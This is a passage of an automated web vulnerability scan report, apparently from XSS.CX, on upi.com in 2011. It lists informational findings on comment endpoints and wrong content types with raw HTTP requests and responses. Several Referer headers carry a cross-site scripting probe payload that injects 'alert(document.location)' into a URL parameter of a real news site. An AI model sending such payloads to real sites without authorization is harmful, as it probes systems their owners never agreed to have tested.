Cookie: __gads=ID=4668bd5b9ab96c55:T=1307064610:S=ALNI_MYMW80dRWn21ndcBYryUC99SJHuhQ

Response

HTTP/1.1 200 OK
Date: Fri, 03 Jun 2011 01:30:23 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.5
X-Powered-By: PHP/5.3.5
Content-Length: 6400
Content-Type: text/html


       <div class="pad4">
           <div class="scroll_d"> </div>
               <div style="float: left; width: 517px;">
                   <div class="item">
               <div class="thumbnail"><div class="content"><div id="May-29-2011"
...[SNIP]...

10.4. http://www.upi.com/upi_comments/form previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/upi_comments/form

Request

Response

10.5. http://www.upi.com/upi_comments/io previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/upi_comments/io

Request

POST /upi_comments/io HTTP/1.1
Host: www.upi.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/?spt=hs&or=bnf0944%27%3balert(document.location)//e454f85ac0e
Content-Length: 58
Cookie: __gads=ID=4668bd5b9ab96c55:T=1307064610:S=ALNI_MYMW80dRWn21ndcBYryUC99SJHuhQ
Pragma: no-cache
Cache-Control: no-cache

uc_list=1&page_id=97441307044985&limit=10&page_type=story&

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Content-Type: text/html
Content-Length: 82
Date: Fri, 03 Jun 2011 01:30:23 GMT
X-Varnish: 794789633
Age: 0
Via: 1.1 varnish
Connection: keep-alive

{"cmt_total":"0","cmt_total_w_p":"(0)","pn_showing":"","total":"0","comments":" "}

11. Content type incorrectly stated previous
There are 2 instances of this issue:

/img/graphics/zoomin.cur
/upi_comments/io

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

11.1. http://www.upi.com/img/graphics/zoomin.cur previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.upi.com
Path:	/img/graphics/zoomin.cur

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /img/graphics/zoomin.cur HTTP/1.1
Host: www.upi.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/?spt=hs&or=bnf0944%27%3balert(document.location)//e454f85ac0e
Cookie: __gads=ID=4668bd5b9ab96c55:T=1307064610:S=ALNI_MYMW80dRWn21ndcBYryUC99SJHuhQ

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
Last-Modified: Mon, 15 Sep 2008 20:15:24 GMT
ETag: "1f681c1-146-456f4e5304f00"
Content-Type: text/plain
Content-Length: 326
Date: Fri, 03 Jun 2011 01:30:14 GMT
X-Varnish: 794789259 794785182
Age: 108
Via: 1.1 varnish
Connection: keep-alive

...... ......0.......(... ...@.............................................................................................p............... ...@.........."..33..$ ..$ ..33..."........................
...[SNIP]...

11.2. http://www.upi.com/upi_comments/io previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.upi.com
Path:	/upi_comments/io

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

XSS.CX at Sun Jun 05 06:53:33 CDT 2011.